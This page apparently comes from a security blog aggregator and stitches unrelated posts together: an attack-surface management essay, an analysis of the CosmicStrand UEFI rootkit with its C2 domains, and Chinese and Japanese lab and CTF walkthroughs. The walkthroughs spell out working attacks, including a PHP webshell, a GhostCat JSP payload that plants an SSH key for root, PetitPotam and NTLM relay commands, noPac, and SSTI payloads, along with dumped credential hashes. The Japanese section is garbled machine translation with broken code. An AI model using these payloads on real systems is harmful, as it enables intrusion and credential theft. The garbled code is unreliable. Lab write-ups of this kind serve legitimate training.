Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398630

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

remote_desktop_abstract-e1654695169351.jpeg

互聯網協議(IP)地址及其背後的設備、網絡服務和雲資產是現代企業的生命線。但公司經常積累數千個數字資產,無序的狀態給IT和安全團隊造成了無法管理的混亂。如果不仔細地加以檢查,一個被遺忘、遺棄或未知的數字資產對於公司來說就是網絡安全定時炸彈。

為什麼查看和管理網絡中的每個數字事物都應是重中之重?這當中存在一種可能:它們是您組織基礎設施中增長最快的部分。有效的數字資產管理——包括IP地址可見性——是您阻止攻擊者對網絡資產發動攻擊的最基礎也是最有效的途徑。

在過去的二十年裡,安全團隊一直專注於解決內部資產風險。面向公眾的數字資產和IP地址是“非軍事化區”的一部分,“非軍事化區”是一個防禦的強化但非常有限的周邊地區。但在全球大流行和隨之而來的居家辦公趨勢的推動下,數字化轉型隨之而來,網絡邊界變得不再清晰,都需要讓位於當今一切託管服務的現代架構。

數字資產:死亡、遺忘和危險過去兩年的業務數字化轉型引發了一場新的網絡應用程序、數據庫和物聯網設備的海嘯。他們為威脅組織創造了一個巨大的新攻擊面,其中包括複雜的雲原生IT基礎設施。可能暴露的是數千個API、服務器、物聯網設備和SaaS資產。

管理不善的數字資產是一顆定時炸彈。例如,在網絡應用程序中存在巨大風險。在最近的CyCognito調查中,我們發現Global 2000組織平均每個組織有5000個暴露的Web界面,佔其外部可能受到攻擊表面的7%。在這些Web應用程序中,我們發現不乏開源JavaScript漏洞庫問題,如jQuery、JQuery-UI和Bootstrap。 SQL注入、XSS和PII暴露漏洞也不短缺。

任何面向外部的資產未知或管理不善,都可以被視為邀請對手破壞您的網絡的機會。然後,攻擊者可以竊取數據、傳播惡意軟件、破壞基礎設施並實現持續的未經授權訪問。

當我們與公司談論他們的攻擊面時,我們很少聽到他們對掌握數字資產表示信心。許多公司仍然通過Excel電子表格跟踪IP地址,並反過來連接資產。這種措施是否高效?事實上這僅適用於最小的組織。 ESG在2021年的一項研究發現,73%的安全和IT專業人士依賴他們。

數據安全是頭等大事,這也是貴公司的皇冠珠寶。我認為,保護IP地址和連接資產應該採取更現代的管理方法,這樣就可以在問題出現之前解決這些問題。

善意可能會出錯但即使是善意的公司也可能犯錯誤。假設企業服務台創建的內部票務系統只能通過內部URL訪問。對手可能會利用URL的基礎IP地址,並通過添加“:8118”來打開網絡後門(或端口)。這就是為什麼IP地址,包括端口、域和證書等相關技術,可能帶來巨大的安全和聲譽風險。

其結果可能是數字資產軟點的墓地,這些軟點經常成為對手的切入點,例如被遺忘或管理不善的DevOps或SecOps工具、雲產品和設備Web界面。

在當今復雜的企業中,系統管理員通常只能看到他們負責管理的設備子集。如果資產不在您的雷達屏幕上,您將無法真正地降低風險。

為什麼管理IP連接的資產就像養貓一樣在過去的12個月裡,通過對CyCognito的客戶群觀察調研,我們看到組織內IP地址(和相關數字資產)的數量增長了20%。這一增長至少部分歸功於雲的採用以及對居住在公司網絡的連接設備和Web應用程序的依賴。但經常被忽視的是,當公司增長或萎縮時,基礎設施會蔓延。

例如,在繞過IP地址管理方面,合併和收購(併購)活動通常會讓企業保持平穩。假設酒店集團收購了較小的競爭對手。當這種情況發生時,它還繼承了一個由未管理和未知的IP地址和域組成的潛在雷區。

死亡域名和被遺忘域名——一種不同類型的數字資產——經常成為所謂的懸垂DNS記錄的犧牲品,對手可以通過重新註冊來接管被遺忘的子域名。這些子域以前連接到公司資源,但現在完全由不良行為者控制,然後可用於改變公司的網絡流量,造成數據丟失和聲譽損害。

同樣,子公司的剝離可能導致基礎設施被遺棄,成為孤兒數字資產和相關網絡應用程序。這些被遺忘的資產經常被IT團隊忽視,但絕對不會被機會主義黑客忽視。

更糟糕的是,不安全的端口使設備可以進行默認憑據攻擊。畢竟,對於對手來說,要掃描和查找開放的端口,他們需要管理不善的雲服務或IP連接的硬件。

最後,通過收購獲得的不受管理的IT基礎設施和資產可能會浪費寶貴的時間。考慮一下管理不善的IP地址如何向IT安全團隊發送高度戒備狀態,以了解為什麼公司資產在它不開展業務的國家/地區被使用。

為了保護關鍵數據,阻止惡意軟件感染並防止漏洞,部分答案是進行有效的數字資產管理以及提高IP地址可見性。太多的系統管理員仍然受制於這個過時的基於電子表格的資產管理系統。

此外,忽略攻擊載體並僅檢測已知資產中CVE的遺留掃描儀無法評估與公司內部大量數字資產相關的風險。例如,在之前的內部票務系統中——通過URLhttps://X.X.X.X[:]8118意外暴露在互聯網上——該IP上的端口掃描充其量只能找到HTTP服務。掃描儀肯定不會理解曝光的背景和關鍵性。公司擁有的雲資產上意外打開目錄也是如此,儘管這些目錄可能包含員工憑據和TB的敏感數據。

無知不是幸福看到就是相信當然,默認情況下,數字資產並不危險。相反,風險與IT堆棧的管理以及系統管理員處理與預置、非預置、託管和非託管服務綁定的眾多連接應用程序的能力有關。

難題擺在公司的面前:“你如何管理你不知道的東西?”

實施網絡分割,零信任解決方案和積極的IP和端口掃描,以及資產發現,都是對減輕威脅問題的必要響應。但這些解決方案並沒有100%解決問題。

這就像根據20%的居民的檢測,給社區一份乾淨的新冠肺炎健康法案。沒有其他80%的測試,你真的不知道自己是否安全。即使對90%的攻擊表面進行完美的漏洞管理,當10%可能看不見和不受管理時,這也不是無關緊要的事。

與低效的發現工具相關的成本和修復發現問題的IT資源有限也是有效攻擊表面管理的障礙。

攻擊表面管理需要圍繞“發現”暴露的關鍵資產的新心態。持續發現那些大規模攻擊者抵抗力最小的路徑,加上安全測試和將寶貴資產被盜的風險聯繫起來,至關重要。 CyCognito正在圍繞暴露和風險管理與緩慢、有限範圍和昂貴的漏洞管理開拓這個想法。

想像一下,看到您的整個攻擊表面——以及您的子公司的攻擊表面——並能夠根據風險簡介對修復進行優先排序,該風險簡介告訴您特定資產被黑客入侵的概率。在數字資產的背景下,了解您的整個IP環境並優先考慮需要首先解決的問題,可以大大有助於實現更安全的IT環境。

大局?對手總是尋求阻力最小的道路。他們避免了更難的攻擊路徑,因為它們往往很吵,增加了後衛檢測和響應的風險。現代外部攻擊表面管理方法應該利用資產補救優先級相同的最不耐藥性路徑原則,同時減少回收(MTTR)的時間,並回答以下問題:“我們安全嗎?”

Rob Gurzeev是外部攻擊表面管理公司CyCognito的首席執行官兼聯合創始人。他是一名進攻性安全專家,專注於提供網絡安全解決方案,幫助組織找到並消除攻擊者利用的路徑。

abstract_cosmic_strand-1200x600.jpg

Rootkit 是植入操作系統最深處的惡意軟件。儘管在紙面上它們似乎對攻擊者很有吸引力,但創建它們會帶來重大的技術挑戰,並且最輕微的編程錯誤都有可能使受害計算機完全崩潰。在對2022 年的APT 預測中,我們注意到儘管存在這些風險,但預計會有更多的攻擊者達到開發此類工具所需的複雜程度。嵌入在如此低級別的操作系統中的惡意軟件的主要吸引力之一是,它極難被檢測到,而且在固件rootkit的情況下,即使重新安裝操作系統或用戶完全更換了計算機的硬盤驅動器,也會確保計算機保持在感染狀態。

在本文中,我們會介紹一個名為CosmicStrand 的UEFI 固件rootkit。

受影響的設備雖然我們無法發現受害計算機最初是如何被感染的,但對其硬件的分析揭示了CosmicStrand 可以感染的設備。 rootkit 位於技嘉或華碩主板的固件映像中,我們注意到所有這些映像都與使用H81 芯片組的設計有關。這表明可能存在允許攻擊者將其rootkit 注入固件映像的常見漏洞。

在這些固件映像中,對CSMCORE DXE 驅動程序進行了修改,其入口點已被修補以重定向到.reloc 部分中添加的代碼。此代碼在系統啟動期間執行,會觸發一個長執行鏈,從而導致在Windows 中下載和部署惡意組件。

查看我們能夠獲得的各種固件映像,我們評估這些修改可能是使用自動修補程序執行的。如果是這樣,則攻擊者可以事先訪問受害者的計算機,以提取、修改和覆蓋主板的固件。這可以通過已經部署在計算機或物理訪問上的預先植入的惡意軟件來實現。

感染過程概述在深入了解組成這個rootkit 的各種組件之前,我們想提供一個關於它試圖完成的任務的高級視圖。此執行鏈的目標是在每次啟動時從受感染的UEFI 組件開始將內核級植入部署到Windows 系統中。

UEFI 惡意軟件開發者面臨一個獨特的技術挑戰:他們的植入程序在啟動過程中很早就開始運行,以至於操作系統(在本例中為Windows)甚至還沒有加載到內存中。到那時,UEFI執行上下文已經終止了。 rootkit完成的主要任務是找到一種方法,將惡意代碼一路傳遞到各個啟動階段。

工作流程包括連續設置掛鉤,允許惡意代碼持續存在,直到操作系統啟動之後。所涉及的步驟是:

初始受感染的固件引導整個鏈。

該惡意軟件在啟動管理器中設置了一個惡意掛鉤,允許它在執行之前修改Windows 的內核加載程序。

通過篡改操作系統加載程序,攻擊者能夠在Windows 內核的功能中設置另一個掛鉤。

當稍後在操作系統的正常啟動過程中調用該函數時,惡意軟件最後一次控制了執行流程。

它在內存中部署一個shellcode 並聯繫C2 服務器以檢索實際的惡意有效負載以在受害者的計算機上運行。

下圖中總結了這些步驟:

1.png

UEFI 植入2.png

在確定了惡意軟件植入的目的之後,我們現在可以更詳細地了解這些步驟是如何執行的。

整個執行鏈從EFI 驅動程序開始,它似乎是一個名為CSMCORE 的合法版本的補丁版本(旨在促進通過MBR 在傳統模式下啟動計算機),其中攻擊者修改了指向HandleProtocol 啟動服務函數的指針。每次調用此函數時,都會將執行重定向到攻擊者提供的代碼,該代碼試圖確定調用它的組件(它正在尋找要感染的特定組件——efi)。通過檢查函數參數以及位於返回地址的字節,CosmicStrand 可以識別它正在尋找的確切“調用”。

3.png

之所以選擇執行中的這個特定點,是因為在這個階段,引導管理器已經加載到內存中,但還沒有運行。 CosmicStrand抓住了這個機會來修補它的Archpx64TransferTo64BitApplicationAsm中的一些字節。

該函數稍後在正常的操作系統啟動過程中被調用也是在一個關鍵時刻:那時Windows 操作系統加載程序也存在於內存中,並且可以反過來進行修改。

當它運行時,Archpx64TransferTo64BitApplicationAsm 通過查找特定的字節模式從OS 加載器(OslArchTransferToKernel) 中定位一個函數。 然後CosmicStrand 在它的末端添加一個掛鉤。

4.png

OslArchTransferToKernel 在執行從Windows 加載程序轉移到Windows 內核之前被調用,這使其成為此類rootkit 的傳統掛鉤點。

在Windows 內核有機會運行之前,CosmicStrand 在ZwCreateSection 中設置了另一個掛鉤。惡意代碼被複製到內存中的ntoskrnl.exe的映像中,並且ZwCreateSection的第一個字節被重寫以重定向到它。我們注意到,攻擊者小心翼翼地將惡意代碼放在ntoskrnl.exe的.text部分的空閒空間中,這使得這種重定向在可能的安全產品眼中不那麼顯眼。

5.png

此時,CosmicStrand 似乎還試圖禁用PatchGuard,這是一種用於防止修改內存中Windows 內核的關鍵結構的安全機制。為此,它會定位ntoskrnl.exe 的KiFilterFiberContext 函數並對其進行修改,使其無需執行任何工作即可返回。值得注意的是,該函數的本地化也是通過搜索硬編碼模式來實現的,非常詳盡,甚至包含與2016 年8 月發布的Redstone 1 對應的模式。

6.png

然後,Windows內核啟動,並在正常運行時調用掛鉤的ZwCreateSection函數。當這種情況發生時,CosmicStrand會再次獲得執行的控制權,並在運行更多惡意代碼之前恢復原始代碼。

ZwCreateSection 掛鉤的主要目的是收集內核提供的API 函數的地址,並為下一個組件創建一個導入表。通過使用解析函數,它還在內核地址空間中分配了一個緩衝區,在調用shell代碼之前,它在這個地址空間映射shell代碼。

內核shellcode到目前為止描述的所有步驟僅用於將代碼執行從UEFI 傳播到Windows 內核。這個shellcode 是迄今為止鏈中第一個真正的惡意組件。它設置了一個線程通知例程,每次創建新線程時都會調用該例程。 CosmicStrand 一直等到winlogon.exe 出現,然後在這個高權限上下文中執行回調。

這樣,CosmicStrand 會休眠10 分鐘並測試受感染計算機的互聯網連接。 CosmicStrand 不依賴高級API 函數來生成網絡流量,而是直接與傳輸設備接口交互:它生成所需的IRP(I/O 請求數據包)並通過將IOCTL 發送到TCP 或UDP 設備對象。 DNS請求可以通過谷歌的DNS服務器(8.8.8[.]8)或自定義的DNS服務器(222.222.67[.]208)來實現。

CosmicStrand 通過向其C2 服務器update.bokts[.]com 發送自定義的UDP或TCP 數據包來檢索其最終有效負載。回复預計將返回一個或多個包含528 字節塊的數據包,遵循以下結構:

7.png

各種數據塊被重新組裝成一家族字節,這些字節映射到內核空間並解釋為shellcode。不幸的是,我們無法獲得來自C2 服務器的數據副本。然而,我們確實在我們可以研究的一台受感染計算機上找到了內存中的用戶模式樣本,並相信它與CosmicStrand 相關聯。該示例是一個可執行文件,它運行命令行以便在受害者的計算機上創建一個用戶(“aaaabbbb”)並將其添加到本地管理員組。

8.png

我們可以由此推斷,從C2 服務器接收到的shellcode 可能是攻擊者提供的PE 可執行文件的暫存器,而且很可能存在更多。

較舊的CosmicStrand 變體在調查過程中,我們還發現了這個rootkit 的舊版本。它們具有相同的部署過程,它們的細微差別與內核shellcode 有關。

它試圖從exe 而不是winlogon.exe 劫持線程。

為獲得額外的shellcode 以運行而聯繫的C2 域是不同的(erda158[.]to)。

每次在系統中創建新進程時,舊變體都會打印調試消息。

9.png

根據我們對這兩種變體使用的基礎設施的分析,我們估計舊的一種在2016 年底至2017 年中期之間使用,而當前的一種在2020 年曾非常活躍。

基礎設施我們知道有兩個C2服務器,每個變體對應一個。根據對他們可用的被動DNS數據,這些域有一個很長的生命週期,並在有限的時間內解析到IP地址,否則,rootkit 將無法運行。因此值得注意的是,雖然攻擊者選擇部署極其持久的植入程序,但對受害計算機的實際利用可能只有幾個月。但是,這些域可能偶爾會在很短的時間內被重新激活,並且此信息不會被被動DNS 系統記錄。

10.png

細心的讀者會注意到這兩個域的活動期之間存在三年的差距。在此期間,攻擊者可能正在使用通過CosmicStrand 部署的用戶模式組件控制受害者的計算機,或者更有可能我們還沒有發現的其他變體和C2服務器。

受害者目前,研究人員在中國、越南、伊朗和俄羅斯發現CosmicStrand 的受害者。

總結綜合分析,CosmicStrand 是由說中文的開發者開發的,或者是利用了講中文的攻擊者的資源。具體來說,CosmicStrand中的一些代碼模式也在另一個惡意軟件家族MyKings殭屍網絡中被觀察到(例如,MD5 E31C43DD8CB17E9D68C65E645FB3F6E8)。 Sophos在2020年記錄了這個用於部署加密器的殭屍網絡。

與CosmicStrand 的相似之處包括:

使用MBR rootkit 在MyKings 中建立隱秘持久性。

CosmicStrand 和MyKings 在內核模式(Proc 和GetM)中分配內存時使用相同的標籤。

兩個家族都以相同的方式生成網絡數據包,並直接利用UDP 和TCP 設備對象。

兩者使用的API 哈希碼是相同的,如下面的截圖所示。據我們所知,這種算法只在另外兩個rootkit 中被發現,即MoonBounce 和xTalker。

12.png

除了這種代碼相似性之外,CosmicStrand 使用的硬編碼後備DNS 服務器位於CHINANET-BACKBONE (AS4134) 這一事實可能被視為攻擊者屬於中文網絡的一個非常低的置信度的跡象。

CosmicStrand 是一個複雜的UEFI 固件rootkit,它允許其所有者實現持久性攻擊。

0x1 Info

image
靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩

0x2 Recon

  1. Target external IP
    39.98.34.149
  2. Nmap results
    image
  3. 关注80端口的http服务,目录爆破(省略)找到 /admin
    image
  4. 使用弱口令登录进入后台,去到模板页面,编辑header.html,添加php一句话
    \

    用户名: admin, 密码:123456
    


image

  1. 命令执行
    image

0x03 入口点:172.22.4.36

  1. 弹shell
    image
    快速过一下:

    • 入口机器没特别的东西
    • 没能提权到root权限(也不需要提权到root权限)
    • stapbpf suid利用失败

      找到diff suid
      image
  2. flag01
    diff --line-format=%L /dev/null /home/flag/flag01.txt
    image
  3. flag01 里面有提示用户名
    WIN19\Adrian
  4. 挂代理扫 445
    image

    获取到三个机器信息

    172.22.4.19 fileserver.xiaorang.lab
    172.22.4.7 DC01.xiaorang.lab
    172.22.4.45 win19.xiaorang.lab

  5. 用 Flag01提示的用户名 + rockyou.txt 爆破,爆破出有效凭据 (提示密码过期)

    win19\Adrian babygirl1
  6. xfreerdp 远程登录上 win19 然后改密码
    image
    image

0x04 Pwing WIN19 - 172.22.4.45

前言:当前机器除了机器账户外,完全没域凭据,需要提权到system获取机器账户

  1. 桌面有提示
    image
  2. 关注这一栏,当前用户Adrian对该注册表有完全控制权限
    image
    image
  3. 提权
    msfvenom生成服务马,执行 sam.bat
    image

    sam.bat
    image

    修改注册表并且启用服务,然后桌面就会获取到 sam,security,system
    image
  4. 获取 Administrator + 机器账户 凭据

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636

    image

  5. flag02
    image
  6. 使用机器账户收集域信息
    image

0x05 DC takeover - 172.22.4.7

  1. 分析 Bloodhound,发现 WIN19 + DC01都是非约束委派
    image
  2. 使用Administrator登录进入 WIN19,部署rubeus
    image
  3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
    image
    image
  4. Base64的tgt 解码存为 DC01.kirbi
    image
  5. DCSync 获取域管凭据
    image
  6. psexec - flag04
    image

0x06 Fileserver takeover - 172.22.4.19

  1. psexec - flag03
    image

0x07 Outro

  • 感谢Alphabug师傅的提示(0x03 - 0x04),大哥已经把入口点都打完了,我只是跟着进来而已
  • 感谢九世师傅的合作

原文链接:https://www.freebuf.com/articles/web/352151.html

0x01 – Info

  • Tag: Tomcat,NTLM,WebClient,Coerce Authentication,noPac
    53iuzugpbv314239.png

0x02 – Recon

  1. Target external ip
     47.92.146.66
    
  1. Nmap results
    Focus on port 8009 (ajp) ,意味着是tomcat (对应了靶场的tomcat tag)
    njy0ewwgn4j14240.png
  2. 目录扫描,404页面显示为tomcat 9.0.30
    hezfp2ewn0l14241.png
  3. Playing with Ghost cat
    使用该项目测试
    https://github.com/00theway/Ghostcat-CNVD-2020-10487
    读取/web-inf/web.xml
    5dqfol4c3dq14243.png
    url-pattern 结果存为字典
    ipt3dljejus14244.png
    FFuf
    50d5abakafr14245.png
    关注uploadservlet
    alcsuijqj3c14247.png
    上传temp.txt
    0ssj1carr5b14248.png
    返回文件地址
    eebthlwkfso14249.png
     ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt
    

    替换 ./upload to /upload,成功读取到上传的文件

     python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read
    

    u2oezixff1w14250.png

 

0x03 – GhostCat命令执行

  1. 准备好 shell.txt
    icwhnar0di214253.png

    <% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(“</pre>“);%>

  1. 上传shell.txt
    opcbzg3hrch14254.png
  2. 执行上传的代码
    pcjorwlanmv14257.png
  3. SSH – flag01
    4csqknnshow14259.png

 

0x04 – 入口 Ubuntu: 172.22.11.76

  1. SSH
    ivqlz4xvcuv14261.png
  2. 没啥东西,直接过
    2repwedqh2a14263.png
  3. 开代理
    xyi3dxzqzn214265.png
  4. 挂代理扫445,获取到三台主机信息

    172.22.11.45 XR-Desktop.xiaorang.lab
    172.22.11.6 xiaorang-dc.xiaorang.lab
    172.22.11.26 XR-LCM3AE8B.xiaorang.lab
    41kkz0iwvdr14267.png

  5. 关注172.22.11.45 – windows7 – MS17
    ozvvx2gk3oh14268.png
  6. MS17 一气呵成
    a1ieb5lhrr014270.png
  7. 基本操作
    waakbhdjgkn14271.png
    tg4fpav2et314273.png
    凭据列表

    Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据)
    John 03cae082068e8d55ea307b75581a8859 – (本地凭据)
    XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据)
    yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据)
    本人已经试过组合爆破了,没有东西,这边直接略过演示,直接到域渗透环节
    zcikwn4werg14274.png

  8. Flag2
    tvibmczpu2314275.png
  9. 把域用户yangmei加入该机器的本地管理员
    znt1nlcuyka14277.png
  10. 确定域控IP为172.22.11.6 – xiaorang-dc
    t5uzjaqujax14279.png
  11. Bloodhound收集
    shtekg04dwi14281.png

 

0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45

  • 这边快速过一下 (一句话总结:不能直接拿下域控)
    1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破,没发现其他新用户
    2. MAQ = 0,加不了计算机
    3. 当前LDAP 没 TLS,远程也加不了计算机,impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制,无法添加计算机;ldaps受到 没TLS + MAQ = 0 的限制
    4. 域控存在nopac,当前用户yangmei使用nopac没打死,并且对域内computer container没有createchild的ACL
    5. 域控存在nopac,当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限,意味着无法修改SamAccountName
    6. 域内存在 DFscoerce 和 petitpotam,但是不存在CVE-2019-1040,因此放弃 DFscoerce,优先使用petitpotam
    7. NoPac exploit: Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)
  1. Petitpotam 扫描
    f3i4rt0nalc14283.png
  2. 无ADCS + Petitpotam + ntlm中继打法
    攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件,目标机器需要开启webclient服务
    WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B)
    xifsx5c4pb414284.png
  • 中继攻击前言:
    • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
    • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  1. 中继攻击环境配置: 端口转发 + 代理
    我们目前需要把服务器的80,转发到客户端本地的80
  • 注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧
    如图所示,即使反向端口转发79端口指定监听全部 (-R \*:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了)
    ezutnga4bnz14285.png
    加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
    urwqfau3usi14286.png
    测试,从172.22.11.76:80 进来的流量直接转发到了我们本地
    3rw45zlw1sy14288.png
    本地开启ntlmrelayx
  • 注意:
    • 前面提到,没有ldaps,所以不能使用addcomputer
    • 同时在使用proxychains后,ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
      sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
      uqvkbrvnuvn14291.png
  1. 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
    proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B
    可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了
    0som3gysxym14293.png
  2. 申请XR-LCM3AE8B CIFS票据
    uqgmj0ub5o214295.png

 

0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B:172.22.11.26

  1. psexec
  • flag03在 C:\users\administrator\flag\flag03.txt (这里没截图)
    kexldxxklhy14297.png
  1. smbclient.py 传 mimikatz
    td0lapyx0vh14299.png
  2. 获取到新凭据
     zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1
    

    es13wzn2iug14301.png

  3. nopac
  • 只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到
    AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
    immthpczhrb14304.png
    Bloodhound看不到,主要原因是没把CreateChild采集进json
    ckjcsjpzsdw14306.png
  1. 回到nopac,加上 create-child 参数
    3oe42q1owwe14308.png

 

0x07 – 域渗透环节 – xiaorang-dc

  1. 使用nopac申请到的cifs票据登录进入DC
  • flag04在 C:\users\administrator\flag\flag04.txt (这里没截图)
    yqagpmzy03l14310.png
  1. 域管 (略过使用mimikatz)
    administrator 0fadb57f5ec71437d1b03eea2cda70b9
    ![[rubipgrhkqo14313.png

 

0x08 – 瞎玩

尝试解决Bloodhound.py采集不到CreateChild
bloodhound/enumeration/acls.py里面其实已经定义好了变量,只需要调用即可
3a15h0ywoqe14315.png
来到170行,我们添加上去,找到CreateChild就添加进数据
jlscbowow2y14316.png
重新跑一遍bloodhound.py,观察containers的结果,发现已经有相关数据了,RID 1132 = MA_Admin组
bklh54kb4q214318.png
Bloodhound示意图,但是数据还是乱
0btwskrdhze14320.png

原文链接: https://www.anquanke.com/post/id/285771

web

input_data

The Tool https://github.com/kost/dvcs-ripperを使用します

./rip-svn.pl -u 3http://101.200.58.4:10005/.svn

.svnディレクトリをダウンロードします

次に、構造を確認し、いくつかのファイルを見つけます

1049983-20241004174649885-874008864.jpg

cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します

1049983-20241004174650809-663276795.png

フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}

admin

オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです

/;/admin

1049983-20241004174651495-30944686.jpg

次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。

次のようにペイロード

http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()

成功したコマンド実行:

1049983-20241004174652133-174386126.jpg

フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}

フラスコ

質問のソースコードは次のとおりです

フラスコのインポートフラスコから、リクエスト、応答

Reをインポートします

app=flask(__name__)

@app.route( '/')

def index():

evalme=request.args.get( 'evalme')

if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):

「ハッカー?」を返します

a=eval(evalme)

印刷(1)

f:として開いている(a、 'rb')

返信応答(f.read())

__name__=='__main __' :の場合

app.run(port=8081、debug=true)

文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。

コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]

1049983-20241004174652875-1561261817.jpg

非常に多くのフラグ

次のレイヤーファイルf1aaj.phpはソースコードにあります

Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける

1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです

?php

if(isset($ _ get ['x'])){

$ temp=$ _get ['x'];

is_numeric($ temp)? die( 'no numeric'): null;

if($ temp 9999){

echo 'pupil./br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'xはどこですか?');

}

if(isset($ _ get ['y'])){

$ md5=$ _get ['y'];

if($ md5==md5($ md5)){

Echo 'ジュニアスクールの生徒//br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'yはy?');

}

if(isset($ _ get ['z'])){

$ content=$ _get ['z'];

if(strlen($ content)=60){

die( '長い!');

}

$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];

foreach($ blacklist as $ blackitem){

if(preg_match( '/'。$ blackitem。 '/m'、$ content)){

die( 'no!no!no!');

}

}

